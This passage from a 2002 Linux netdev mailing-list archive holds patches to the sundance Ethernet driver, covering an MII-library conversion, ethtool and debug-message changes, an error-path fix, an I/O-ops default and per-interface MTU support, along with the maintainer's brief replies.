(struct netdev_desc *)ring_space; np->rx_ring_dma = ring_dma; + np->mii_if.dev = dev; + np->mii_if.mdio_read = mdio_read; + np->mii_if.mdio_write = mdio_write; + /* The chip-specific entries in the device structure. */ dev->open = &netdev_open; dev->hard_start_xmit = &start_tx; @@ -576,12 +586,12 @@ int mii_status = mdio_read(dev, phy, MII_BMSR); if (mii_status != 0xffff && mii_status != 0x0000) { np->phys[phy_idx++] = phy; - np->advertising = mdio_read(dev, phy, MII_ADVERTISE); + np->mii_if.advertising = mdio_read(dev, phy, MII_ADVERTISE); if ((mii_status & 0x0040) == 0) np->mii_preamble_required++; printk(KERN_INFO "%s: MII PHY found at address %d, status " "0x%4.4x advertising %4.4x.\n", - dev->name, phy, mii_status, np->advertising); + dev->name, phy, mii_status, np->mii_if.advertising); } } np->mii_preamble_required--; @@ -591,6 +601,8 @@ dev->name, readl(ioaddr + ASICCtrl)); goto err_out_unmap_rx; } + + np->mii_if.phy_id = np->phys[0]; } /* Parse override configuration */ @@ -601,24 +613,24 @@ if (strcmp (media[card_idx], "100mbps_fd") == 0 || strcmp (media[card_idx], "4") == 0) { np->speed = 100; - np->full_duplex = 1; + np->mii_if.full_duplex = 1; } else if (strcmp (media[card_idx], "100mbps_hd") == 0 || strcmp (media[card_idx], "3") == 0) { np->speed = 100; - np->full_duplex = 0; + np->mii_if.full_duplex = 0; } else if (strcmp (media[card_idx], "10mbps_fd") == 0 || strcmp (media[card_idx], "2") == 0) { np->speed = 10; - np->full_duplex = 1; + np->mii_if.full_duplex = 1; } else if (strcmp (media[card_idx], "10mbps_hd") == 0 || strcmp (media[card_idx], "1") == 0) { np->speed = 10; - np->full_duplex = 0; + np->mii_if.full_duplex = 0; } else { np->an_enable = 1; } } - if (tx_coalesce < 1) + if (tx_coalesce < 1) tx_coalesce = 1; else if (tx_coalesce > TX_QUEUE_LEN - 1) tx_coalesce = TX_QUEUE_LEN - 1; @@ -631,7 +643,7 @@ /* Default 100Mbps Full */ if (np->an_enable) { np->speed = 100; - np->full_duplex = 1; + np->mii_if.full_duplex = 1; np->an_enable = 0; } } @@ -643,19 +655,19 @@ if (!np->an_enable) { mii_ctl = 0; mii_ctl |= (np->speed == 100) ? BMCR_SPEED100 : 0; - mii_ctl |= (np->full_duplex) ? BMCR_FULLDPLX : 0; + mii_ctl |= (np->mii_if.full_duplex) ? BMCR_FULLDPLX : 0; mdio_write (dev, np->phys[0], MII_BMCR, mii_ctl); printk (KERN_INFO "Override speed=%d, %s duplex\n", - np->speed, np->full_duplex ? "Full" : "Half"); + np->speed, np->mii_if.full_duplex ? "Full" : "Half"); } /* Perhaps move the reset here? */ /* Reset the chip to erase previous misconfiguration. */ - if (debug > 1) + if (netif_msg_hw(np)) printk("ASIC Control is %x.\n", readl(ioaddr + ASICCtrl)); writew(0x007f, ioaddr + ASICCtrl + 2); - if (debug > 1) + if (netif_msg_hw(np)) printk("ASIC Control is now %x.\n", readl(ioaddr + ASICCtrl)); card_idx++; @@ -677,7 +689,7 @@ return -ENODEV; } - + /* Read the EEPROM and MII Management Data I/O (MDIO) interfaces. */ static int __devinit eeprom_read(long ioaddr, int location) { @@ -793,7 +805,7 @@ if (i) return i; - if (debug > 1) + if (netif_msg_ifup(np)) printk(KERN_DEBUG "%s: netdev_open() irq %d.\n", dev->name, dev->irq); @@ -823,7 +835,7 @@ writew(StatsEnable | RxEnable | TxEnable, ioaddr + MACCtrl1); - if (debug > 2) + if (netif_msg_ifup(np)) printk(KERN_DEBUG "%s: Done netdev_open(), status: Rx %x Tx %x " "MAC Control %x, %4.4x %4.4x.\n", dev->name, readl(ioaddr + RxStatus), readb(ioaddr + TxStatus), @@ -836,7 +848,7 @@ np->timer.data = (unsigned long)dev; np->timer.function = &netdev_timer; /* timer handler */ add_timer(&np->timer); - + /* Enable interrupts by setting the interrupt mask. */ writew(DEFAULT_INTR, ioaddr + IntrEnable); @@ -848,21 +860,22 @@ struct netdev_private *np = dev->priv; long ioaddr = dev->base_addr; int mii_lpa = mdio_read(dev, np->phys[0], MII_LPA); - int negotiated = mii_lpa & np->advertising; + int negotiated = mii_lpa & np->mii_if.advertising; int duplex; - + /* Force media */ if (!np->an_enable || mii_lpa == 0xffff) { - if (np->full_duplex) + if (np->mii_if.full_duplex) writew (readw (ioaddr + MACCtrl0) | EnbFullDuplex, ioaddr + MACCtrl0); return; } + /* Autonegotiation */ duplex = (negotiated & 0x0100) || (negotiated & 0x01C0) == 0x0040; - if (np->full_duplex != duplex) { - np->full_duplex = duplex; - if (debug) + if (np->mii_if.full_duplex != duplex) { + np->mii_if.full_duplex = duplex; + if (netif_msg_link(np)) printk(KERN_INFO "%s: Setting %s-duplex based on MII #%d " "negotiated capability %4.4x.\n", dev->name, duplex ? "full" : "half", np->phys[0], negotiated); @@ -877,7 +890,7 @@ long ioaddr = dev->base_addr; int next_tick = 10*HZ; - if (debug > 3) { + if (netif_msg_timer(np)) { printk(KERN_DEBUG "%s: Media selection timer tick, intr status %4.4x, " "Tx %x Rx %x.\n", dev->name, readw(ioaddr + IntrEnable), @@ -941,7 +954,7 @@ /* Initialize all Rx descriptors. */ for (i = 0; i < RX_RING_SIZE; i++) { - np->rx_ring[i].next_desc = cpu_to_le32(np->rx_ring_dma + + np->rx_ring[i].next_desc = cpu_to_le32(np->rx_ring_dma + ((i+1)%RX_RING_SIZE)*sizeof(*np->rx_ring)); np->rx_ring[i].status = 0; np->rx_ring[i].frag[0].length = 0; @@ -957,7 +970,7 @@ skb->dev = dev; /* Mark as being used by this device. */ skb_reserve(skb, 2); /* 16 byte align the IP header. */ np->rx_ring[i].frag[0].addr = cpu_to_le32( - pci_map_single(np->pci_dev, skb->tail, np->rx_buf_sz, + pci_map_single(np->pci_dev, skb->tail, np->rx_buf_sz, PCI_DMA_FROMDEVICE)); np->rx_ring[i].frag[0].length = cpu_to_le32(np->rx_buf_sz | LastFrag); } @@ -988,9 +1001,9 @@ txdesc->next_desc = 0; /* Note: disable the interrupt generation here before releasing. */ if (entry % tx_coalesce == 0) { - txdesc->status = cpu_to_le32 ((entry << 2) | + txdesc->status = cpu_to_le32 ((entry << 2) | DescIntrOnTx | DisableAlign); - + } else { txdesc->status = cpu_to_le32 ((entry << 2) | DisableAlign); } @@ -1005,7 +1018,7 @@ np->cur_tx++; /* On some architectures: explicitly flush cache lines here. */ - if (np->cur_tx - np->dirty_tx < TX_QUEUE_LEN - 1 + if (np->cur_tx - np->dirty_tx < TX_QUEUE_LEN - 1 && !netif_queue_stopped(dev)) { /* do nothing */ } else { @@ -1018,7 +1031,7 @@ dev->trans_start = jiffies; - if (debug > 4) { + if (netif_msg_tx_queued(np)) { printk (KERN_DEBUG "%s: Transmit frame #%d queued in slot %d.\n", dev->name, np->cur_tx, entry); @@ -1034,7 +1047,7 @@ long ioaddr = dev->base_addr; int i; int frame_id; - + frame_id = readb(ioaddr + TxFrameId); writew (TxReset | DMAReset | FIFOReset | NetworkReset, ioaddr + ASICCtrl + 2); @@ -1050,8 +1063,8 @@ break; skb = np->tx_skbuff[entry]; /* Free the original skb. */ - pci_unmap_single(np->pci_dev, - np->tx_ring[entry].frag[0].addr, + pci_unmap_single(np->pci_dev, + np->tx_ring[entry].frag[0].addr, skb->len, PCI_DMA_TODEVICE); if (irq) dev_kfree_skb_irq (np->tx_skbuff[entry]); @@ -1081,7 +1094,7 @@ int intr_status = readw(ioaddr + IntrStatus); writew(intr_status, ioaddr + IntrStatus); - if (debug > 4) + if (netif_msg_intr(np)) printk(KERN_DEBUG "%s: Interrupt, status %4.4x.\n", dev->name, intr_status); @@ -1089,7 +1102,7 @@ break; if (intr_status & (IntrRxDMADone)) { - writew(DEFAULT_INTR & ~(IntrRxDone|IntrRxDMADone), + writew(DEFAULT_INTR & ~(IntrRxDone|IntrRxDMADone), ioaddr + IntrEnable); if (np->budget < 0) np->budget = RX_BUDGET; @@ -1100,7 +1113,7 @@ int boguscnt = 32; int tx_status = readw (ioaddr + TxStatus); while (tx_status & 0x80) { - if (debug > 4) + if (netif_msg_tx_done(np)) printk ("%s: Transmit status is %2.2x.\n", dev->name, tx_status); @@ -1138,14 +1151,14 @@ break; skb = np->tx_skbuff[entry]; /* Free the original skb. */ - pci_unmap_single(np->pci_dev, - np->tx_ring[entry].frag[0].addr, + pci_unmap_single(np->pci_dev, + np->tx_ring[entry].frag[0].addr, skb->len, PCI_DMA_TODEVICE); dev_kfree_skb_irq (np->tx_skbuff[entry]); np->tx_skbuff[entry] = 0; } spin_unlock(&np->lock); - if (netif_queue_stopped(dev) && + if (netif_queue_stopped(dev) && np->cur_tx - np->dirty_tx < TX_QUEUE_LEN - 4) { /* The ring is no longer full, clear tbusy. */ netif_wake_queue (dev); @@ -1156,14 +1169,14 @@ netdev_error(dev, intr_status); if (--boguscnt < 0) { get_stats(dev); - if (debug > 1) + if (netif_msg_hw(np)) printk(KERN_WARNING "%s: Too much work at interrupt, " "status=0x%4.4x / 0x%4.4x.\n", dev->name, intr_status, readw(ioaddr + IntrClear)); break; } } while (1); - if (debug > 3) + if (netif_msg_intr(np)) printk(KERN_DEBUG "%s: exiting interrupt, status=%#4.4x.\n", dev->name, readw(ioaddr + IntrStatus)); if (np->cur_tx - np->dirty_tx > 0 && tx_coalesce > 1) @@ -1192,15 +1205,15 @@ if (!(desc->status & DescOwn)) break; pkt_len = frame_status & 0x1fff; /* Chip omits the CRC. */ - if (debug > 4) + if (netif_msg_rx_status(np)) printk(KERN_DEBUG " netdev_rx() status was %8.8x.\n", frame_status); pci_dma_sync_single(np->pci_dev, desc->frag[0].addr, np->rx_buf_sz, PCI_DMA_FROMDEVICE); - + if (frame_status & 0x001f4000) { /* There was a error. */ - if (debug > 2) + if (netif_msg_rx_err(np)) printk(KERN_DEBUG " netdev_rx() Rx error was %8.8x.\n", frame_status); np->stats.rx_errors++; @@ -1216,7 +1229,7 @@ } else { struct sk_buff *skb; #ifndef final_version - if (debug > 4) + if (netif_msg_rx_status(np)) printk(KERN_DEBUG " netdev_rx() normal Rx pkt length %d" ", bogus_cnt %d.\n", pkt_len, boguscnt); @@ -1230,9 +1243,9 @@ eth_copy_and_sum(skb, np->rx_skbuff[entry]->tail, pkt_len, 0); skb_put(skb, pkt_len); } else { - pci_unmap_single(np->pci_dev, + pci_unmap_single(np->pci_dev, desc->frag[0].addr, - np->rx_buf_sz, + np->rx_buf_sz, PCI_DMA_FROMDEVICE); skb_put(skb = np->rx_skbuff[entry], pkt_len); np->rx_skbuff[entry] = NULL; @@ -1251,7 +1264,7 @@ writew(DEFAULT_INTR, ioaddr + IntrEnable); return; -not_done: +not_done: np->cur_rx = entry; refill_rx (dev); if (!received) @@ -1282,7 +1295,7 @@ skb->dev = dev; /* Mark as being used by this device. */ skb_reserve(skb, 2); /* Align IP on 16 byte boundaries */ np->rx_ring[entry].frag[0].addr = cpu_to_le32( - pci_map_single(np->pci_dev, skb->tail, + pci_map_single(np->pci_dev, skb->tail, np->rx_buf_sz, PCI_DMA_FROMDEVICE)); } /* Perhaps we need not reset this field. */ @@ -1299,7 +1312,7 @@ struct netdev_private *np = dev->priv; u16 mii_ctl, mii_advertise, mii_lpa; int speed; - + if (intr_status & LinkChange) { if (np->an_enable) { mii_advertise = mdio_read (dev, np->phys[0], MII_ADVERTISE); @@ -1417,12 +1430,12 @@ { struct netdev_private *np = dev->priv; u32 ethcmd; - long ioaddr = dev->base_addr; - + if (copy_from_user(ðcmd, useraddr, sizeof(ethcmd))) return -EFAULT; switch (ethcmd) { + /* get constant driver settings/info */ case ETHTOOL_GDRVINFO: { struct ethtool_drvinfo info = {ETHTOOL_GDRVINFO}; strcpy(info.driver, DRV_NAME); @@ -1433,116 +1446,60 @@ return -EFAULT; return 0; } - case ETHTOOL_GSET: { - struct ethtool_cmd cmd = { ETHTOOL_GSET }; - if (readl (ioaddr + ASICCtrl) & 0x80) { - /* fiber device */ - cmd.supported = SUPPORTED_Autoneg | - SUPPORTED_FIBRE; - cmd.advertising= ADVERTISED_Autoneg | - ADVERTISED_FIBRE; - cmd.port = PORT_FIBRE; - cmd.transceiver = XCVR_INTERNAL; - } else { - /* copper device */ - cmd.supported = SUPPORTED_10baseT_Half | - SUPPORTED_10baseT_Full | - SUPPORTED_100baseT_Half | - SUPPORTED_100baseT_Full | - SUPPORTED_Autoneg | - SUPPORTED_MII; - cmd.advertising = ADVERTISED_10baseT_Half | - ADVERTISED_10baseT_Full | - ADVERTISED_100baseT_Half | - ADVERTISED_100baseT_Full | - ADVERTISED_Autoneg | - ADVERTISED_MII; - cmd.port = PORT_MII; - cmd.transceiver = XCVR_INTERNAL; - } - if (readb(ioaddr + MIICtrl) & 0x80) { - cmd.speed = np->speed; - cmd.duplex = np->full_duplex ? - DUPLEX_FULL : DUPLEX_HALF; - } else { - cmd.speed = -1; - cmd.duplex = -1; - } - if ( np->an_enable) - cmd.autoneg = AUTONEG_ENABLE; - else - cmd.autoneg = AUTONEG_DISABLE; - - cmd.phy_address = np->phys[0]; - if (copy_to_user(useraddr, &cmd, - sizeof(cmd))) + /* get media settings */ + case ETHTOOL_GSET: { + struct ethtool_cmd ecmd = { ETHTOOL_GSET }; + spin_lock_irq(&np->lock); + mii_ethtool_gset(&np->mii_if, &ecmd); + spin_unlock_irq(&np->lock); + if (copy_to_user(useraddr, &ecmd, sizeof(ecmd))) return -EFAULT; - return 0; + return 0; } + /* set media settings */ case ETHTOOL_SSET: { - struct ethtool_cmd cmd; - if (copy_from_user(&cmd, useraddr, sizeof(cmd))) + int r; + struct ethtool_cmd ecmd; + if (copy_from_user(&ecmd, useraddr, sizeof(ecmd))) return -EFAULT; - netif_carrier_off(dev); - if (cmd.autoneg == AUTONEG_ENABLE) { - if (np->an_enable) - return 0; - else { - np->an_enable = 1; - /* Reset PHY */ - mdio_write (dev, np->phys[0], MII_BMCR, - BMCR_RESET); - mdelay (300); - /* Start auto negotiation */ - mdio_write (dev, np->phys[0], MII_BMCR, - BMCR_ANENABLE|BMCR_ANRESTART); - return 0; - } - } else { - /* Reset PHY */ - mdio_write (dev, np->phys[0], MII_BMCR, - BMCR_RESET); - mdelay (300); - np->an_enable = 0; - switch(cmd.speed + cmd.duplex){ - - case SPEED_10 + DUPLEX_HALF: - np->speed = 10; - np->full_duplex = 0; - break; - case SPEED_10 + DUPLEX_FULL: - np->speed = 10; - np->full_duplex = 1; - break; - case SPEED_100 + DUPLEX_HALF: - np->speed = 100; - np->full_duplex = 0; - break; - case SPEED_100 + DUPLEX_FULL: - np->speed = 100; - np->full_duplex = 1; - break; - - default: - return -EINVAL; - } - mdio_write (dev, np->phys[0], MII_BMCR, - ((np->speed == 100) ? BMCR_SPEED100 : 0) | - ((np->full_duplex) ? BMCR_FULLDPLX : 0) ); + spin_lock_irq(&np->lock); + r = mii_ethtool_sset(&np->mii_if, &ecmd); + spin_unlock_irq(&np->lock); + return r; + } + + /* restart autonegotiation */ + case ETHTOOL_NWAY_RST: { + return mii_nway_restart(&np->mii_if); + } + + /* get link status */ + case ETHTOOL_GLINK: { + struct ethtool_value edata = {ETHTOOL_GLINK}; + edata.data = mii_link_ok(&np->mii_if); + if (copy_to_user(useraddr, &edata, sizeof(edata))) + return -EFAULT; + return 0; + } - } - return 0; + /* get message-level */ + case ETHTOOL_GMSGLVL: { + struct ethtool_value edata = {ETHTOOL_GMSGLVL}; + edata.data = np->msg_enable; + if (copy_to_user(useraddr, &edata, sizeof(edata))) + return -EFAULT; + return 0; } -#ifdef ETHTOOL_GLINK - case ETHTOOL_GLINK:{ - struct ethtool_value link = { ETHTOOL_GLINK }; - link.data = readb(ioaddr + MIICtrl) & 0x80; - if (copy_to_user(useraddr, &link, sizeof(link))) - return -EFAULT; - return 0; - } -#endif + /* set message-level */ + case ETHTOOL_SMSGLVL: { + struct ethtool_value edata; + if (copy_from_user(&edata, useraddr, sizeof(edata))) + return -EFAULT; + np->msg_enable = edata.data; + return 0; + } + default: return -EOPNOTSUPP; @@ -1583,7 +1540,7 @@ netif_stop_queue(dev); - if (debug > 1) { + if (netif_msg_ifdown(np)) { printk(KERN_DEBUG "%s: Shutting down ethercard, status was Tx %2.2x " "Rx %4.4x Int %2.2x.\n", dev->name, readb(ioaddr + TxStatus), @@ -1599,7 +1556,7 @@ writew(TxDisable | RxDisable | StatsDisable, ioaddr + MACCtrl1); #ifdef __i386__ - if (debug > 2) { + if (netif_msg_hw(np)) { printk("\n"KERN_DEBUG" Tx ring at %8.8x:\n", (int)(np->tx_ring_dma)); for (i = 0; i < TX_RING_SIZE; i++) @@ -1626,8 +1583,8 @@ np->rx_ring[i].frag[0].addr = 0xBADF00D0; /* An invalid address. */ skb = np->rx_skbuff[i]; if (skb) { - pci_unmap_single(np->pci_dev, - np->rx_ring[i].frag[0].addr, np->rx_buf_sz, + pci_unmap_single(np->pci_dev, + np->rx_ring[i].frag[0].addr, np->rx_buf_sz, PCI_DMA_FROMDEVICE); dev_kfree_skb(skb); np->rx_skbuff[i] = 0; @@ -1636,7 +1593,7 @@ for (i = 0; i < TX_RING_SIZE; i++) { skb = np->tx_skbuff[i]; if (skb) { - pci_unmap_single(np->pci_dev, + pci_unmap_single(np->pci_dev, np->tx_ring[i].frag[0].addr, skb->len, PCI_DMA_TODEVICE); dev_kfree_skb(skb); @@ -1650,15 +1607,15 @@ static void __devexit sundance_remove1 (struct pci_dev *pdev) { struct net_device *dev = pci_get_drvdata(pdev); - + /* No need to check MOD_IN_USE, as sys_delete_module() checks. */ if (dev) { struct netdev_private *np = dev->priv; unregister_netdev(dev); - pci_free_consistent(pdev, RX_TOTAL_SIZE, np->rx_ring, + pci_free_consistent(pdev, RX_TOTAL_SIZE, np->rx_ring, np->rx_ring_dma); - pci_free_consistent(pdev, TX_TOTAL_SIZE, np->tx_ring, + pci_free_consistent(pdev, TX_TOTAL_SIZE, np->tx_ring, np->tx_ring_dma); pci_release_regions(pdev); #ifndef USE_IO_OPS --------------050701000103070306000102-- From lunz@falooley.org Thu Sep 19 13:47:45 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Sep 2002 13:47:47 -0700 (PDT) Received: from orr.homenet (dsl-65-188-251-69.telocity.com [65.188.251.69]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8JKljtG007875 for ; Thu, 19 Sep 2002 13:47:45 -0700 Received: from lunz by orr.homenet with local (Exim 3.35 #1 (Debian)) id 17s8I5-0004ZE-00; Thu, 19 Sep 2002 16:52:49 -0400 Date: Thu, 19 Sep 2002 16:52:49 -0400 To: Jeff Garzik Cc: netdev@oss.sgi.com, Linux Kernel Mailing List , Donald Becker , Richard Gooch , "Patrick R. McManus" , edward_peng@dlink.com.tw Subject: PATCH: sundance #4b Message-ID: <20020919205249.GB17492@orr.falooley.org> References: <3D8A25D1.3060300@mandrakesoft.com> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="gatW/ieO32f1wygP" Content-Disposition: inline In-Reply-To: <3D8A25D1.3060300@mandrakesoft.com> User-Agent: Mutt/1.4i From: Jason Lunz X-archive-position: 295 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: lunz@falooley.org Precedence: bulk X-list: netdev --gatW/ieO32f1wygP Content-Type: text/plain; charset=us-ascii Content-Disposition: inline The aforementioned failure happens unless USE_IO_OPS is defined. It should be the default, as without it the driver doesn't work at all. Jason --gatW/ieO32f1wygP Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=sundance-4b --- sundance-unreg.c Thu Sep 19 16:48:22 2002 +++ sundance-ioops.c Thu Sep 19 16:48:24 2002 @@ -247,6 +247,10 @@ */ +/* Work-around for Kendin chip bugs. */ +#ifndef USE_MEM_OPS +#define USE_IO_OPS 1 +#endif static struct pci_device_id sundance_pci_tbl[] __devinitdata = { {0x1186, 0x1002, 0x1186, 0x1002, 0, 0, 0}, --gatW/ieO32f1wygP-- From lunz@falooley.org Thu Sep 19 13:46:56 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Sep 2002 13:46:59 -0700 (PDT) Received: from orr.homenet (dsl-65-188-251-69.telocity.com [65.188.251.69]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8JKkttG007693 for ; Thu, 19 Sep 2002 13:46:55 -0700 Received: from lunz by orr.homenet with local (Exim 3.35 #1 (Debian)) id 17s8Gs-0004Z3-00; Thu, 19 Sep 2002 16:51:34 -0400 Date: Thu, 19 Sep 2002 16:51:34 -0400 To: Jeff Garzik Cc: netdev@oss.sgi.com, Linux Kernel Mailing List , Donald Becker , Richard Gooch , "Patrick R. McManus" , edward_peng@dlink.com.tw Subject: PATCH: sundance #4a Message-ID: <20020919205134.GA17492@orr.falooley.org> References: <3D8A25D1.3060300@mandrakesoft.com> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="LZvS9be/3tNcYl/X" Content-Disposition: inline In-Reply-To: <3D8A25D1.3060300@mandrakesoft.com> User-Agent: Mutt/1.4i From: Jason Lunz X-archive-position: 294 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: lunz@falooley.org Precedence: bulk X-list: netdev --LZvS9be/3tNcYl/X Content-Type: text/plain; charset=us-ascii Content-Disposition: inline If you're going to bail when reading the ASIC fails, you need to unregister the dev before you return or Bad Things happen. Jason --LZvS9be/3tNcYl/X Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=sundance-4a --- sundance-garzik.c Thu Sep 19 16:45:57 2002 +++ sundance-unreg.c Thu Sep 19 16:48:22 2002 @@ -599,6 +599,7 @@ if (phy_idx == 0) { printk(KERN_INFO "%s: No MII transceiver found, aborting. ASIC status %x\n", dev->name, readl(ioaddr + ASICCtrl)); + unregister_netdev(dev); goto err_out_unmap_rx; } --LZvS9be/3tNcYl/X-- From lunz@falooley.org Thu Sep 19 13:58:57 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Sep 2002 13:59:00 -0700 (PDT) Received: from orr.homenet (dsl-65-188-251-69.telocity.com [65.188.251.69]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8JKwutG008902 for ; Thu, 19 Sep 2002 13:58:56 -0700 Received: from lunz by orr.homenet with local (Exim 3.35 #1 (Debian)) id 17s8Sj-0004Zz-00; Thu, 19 Sep 2002 17:03:49 -0400 Date: Thu, 19 Sep 2002 17:03:48 -0400 To: Jeff Garzik Cc: netdev@oss.sgi.com, Linux Kernel Mailing List , Donald Becker , Richard Gooch , "Patrick R. McManus" , edward_peng@dlink.com.tw Subject: PATCH: sundance #5 (variable per-interface MTU support) Message-ID: <20020919210348.GC17492@orr.falooley.org> References: <3D8A25D1.3060300@mandrakesoft.com> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="Y5rl02BVI9TCfPar" Content-Disposition: inline In-Reply-To: <3D8A25D1.3060300@mandrakesoft.com> User-Agent: Mutt/1.4i From: Jason Lunz X-archive-position: 296 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: lunz@falooley.org Precedence: bulk X-list: netdev --Y5rl02BVI9TCfPar Content-Type: text/plain; charset=us-ascii Content-Disposition: inline This is a straightforward merge of variable mtu from donald's driver. Jason --Y5rl02BVI9TCfPar Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=sundance-5 --- sundance-ioops.c Thu Sep 19 16:58:44 2002 +++ sundance-mtu.c Thu Sep 19 17:00:30 2002 @@ -65,7 +65,6 @@ static int debug = 1; /* 1 normal messages, 0 quiet .. 7 verbose. */ /* Maximum events (Rx packets, etc.) to handle at each interrupt. */ static int max_interrupt_work = 0; -static int mtu; /* Maximum number of multicast addresses to filter (vs. rx-all-multicast). Typical is a 64 element hash table based on the Ethernet CRC. */ static int multicast_filter_limit = 32; @@ -162,13 +161,11 @@ MODULE_LICENSE("GPL"); MODULE_PARM(max_interrupt_work, "i"); -MODULE_PARM(mtu, "i"); MODULE_PARM(debug, "i"); MODULE_PARM(rx_copybreak, "i"); MODULE_PARM(media, "1-" __MODULE_STRING(MAX_UNITS) "s"); MODULE_PARM(flowctrl, "i"); MODULE_PARM_DESC(max_interrupt_work, "Sundance Alta maximum events handled per interrupt"); -MODULE_PARM_DESC(mtu, "Sundance Alta MTU (all boards)"); MODULE_PARM_DESC(debug, "Sundance Alta debug level (0-5)"); MODULE_PARM_DESC(rx_copybreak, "Sundance Alta copy breakpoint for copy-only-tiny-frames"); MODULE_PARM_DESC(flowctrl, "Sundance Alta flow control [0|1]"); @@ -333,7 +330,7 @@ MACCtrl0 = 0x50, MACCtrl1 = 0x52, StationAddr = 0x54, - MaxTxSize = 0x5A, + MaxFrameSize = 0x5A, RxMode = 0x5c, MIICtrl = 0x5e, MulticastFilter0 = 0x60, @@ -461,6 +458,7 @@ IntrDrvRqst | IntrTxDone | StatsMax | \ LinkChange) +static int change_mtu(struct net_device *dev, int new_mtu); static int eeprom_read(long ioaddr, int location); static int mdio_read(struct net_device *dev, int phy_id, int location); static void mdio_write(struct net_device *dev, int phy_id, int location, int value); @@ -567,11 +565,9 @@ dev->do_ioctl = &netdev_ioctl; dev->tx_timeout = &tx_timeout; dev->watchdog_timeo = TX_TIMEOUT; + dev->change_mtu = &change_mtu; pci_set_drvdata(pdev, dev); - if (mtu) - dev->mtu = mtu; - i = register_netdev(dev); if (i) goto err_out_unmap_rx; @@ -694,6 +690,15 @@ return -ENODEV; } +static int change_mtu(struct net_device *dev, int new_mtu) +{ + if ((new_mtu < 68) || (new_mtu > 8191)) /* Set by RxDMAFrameLen */ + return -EINVAL; + if (netif_running(dev)) + return -EBUSY; + dev->mtu = new_mtu; + return 0; +} /* Read the EEPROM and MII Management Data I/O (MDIO) interfaces. */ static int __devinit eeprom_read(long ioaddr, int location) @@ -823,6 +828,10 @@ writeb(dev->dev_addr[i], ioaddr + StationAddr + i); /* Initialize other registers. */ + writew(dev->mtu + 14, ioaddr + MaxFrameSize); + if (dev->mtu > 2047) + writel(readl(ioaddr + ASICCtrl) | 0x0C, ioaddr + ASICCtrl); + /* Configure the PCI bus bursts and FIFO thresholds. */ if (dev->if_port == 0) @@ -955,7 +964,7 @@ np->cur_rx = np->cur_tx = 0; np->dirty_rx = np->dirty_tx = 0; - np->rx_buf_sz = (dev->mtu <= 1500 ? PKT_BUF_SZ : dev->mtu + 32); + np->rx_buf_sz = (dev->mtu <= 1500 ? PKT_BUF_SZ : dev->mtu + 36); /* Initialize all Rx descriptors. */ for (i = 0; i < RX_RING_SIZE; i++) { --Y5rl02BVI9TCfPar-- From jgarzik@mandrakesoft.com Thu Sep 19 14:20:34 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Sep 2002 14:20:39 -0700 (PDT) Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8JLKXtG009599 for ; Thu, 19 Sep 2002 14:20:34 -0700 Received: from c-24-98-61-134.atl.client2.attbi.com ([24.98.61.134] helo=mandrakesoft.com) by www.linux.org.uk with esmtp (Exim 3.33 #5) id 17s8ns-0004gF-00; Thu, 19 Sep 2002 22:25:40 +0100 Message-ID: <3D8A3D0B.9080800@mandrakesoft.com> Date: Thu, 19 Sep 2002 17:09:31 -0400 From: Jeff Garzik Organization: MandrakeSoft User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Jason Lunz CC: netdev@oss.sgi.com, Linux Kernel Mailing List , Donald Becker , Richard Gooch , "Patrick R. McManus" , edward_peng@dlink.com.tw Subject: Re: PATCH: sundance #4a References: <3D8A25D1.3060300@mandrakesoft.com> <20020919205134.GA17492@orr.falooley.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 297 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@mandrakesoft.com Precedence: bulk X-list: netdev applied by hand -- created goto label err_out_unregister instead From jgarzik@mandrakesoft.com Thu Sep 19 14:21:05 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Sep 2002 14:21:07 -0700 (PDT) Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8JLL4tG009755 for ; Thu, 19 Sep 2002 14:21:05 -0700 Received: from c-24-98-61-134.atl.client2.attbi.com ([24.98.61.134] helo=mandrakesoft.com) by www.linux.org.uk with esmtp (Exim 3.33 #5) id 17s8oO-0004go-00; Thu, 19 Sep 2002 22:26:13 +0100 Message-ID: <3D8A3E3B.5030201@mandrakesoft.com> Date: Thu, 19 Sep 2002 17:14:35 -0400 From: Jeff Garzik Organization: MandrakeSoft User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Jason Lunz CC: netdev@oss.sgi.com, Linux Kernel Mailing List , Donald Becker , Richard Gooch , "Patrick R. McManus" , edward_peng@dlink.com.tw Subject: Re: PATCH: sundance #4b References: <3D8A25D1.3060300@mandrakesoft.com> <20020919205249.GB17492@orr.falooley.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 298 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@mandrakesoft.com Precedence: bulk X-list: netdev applied, then changed 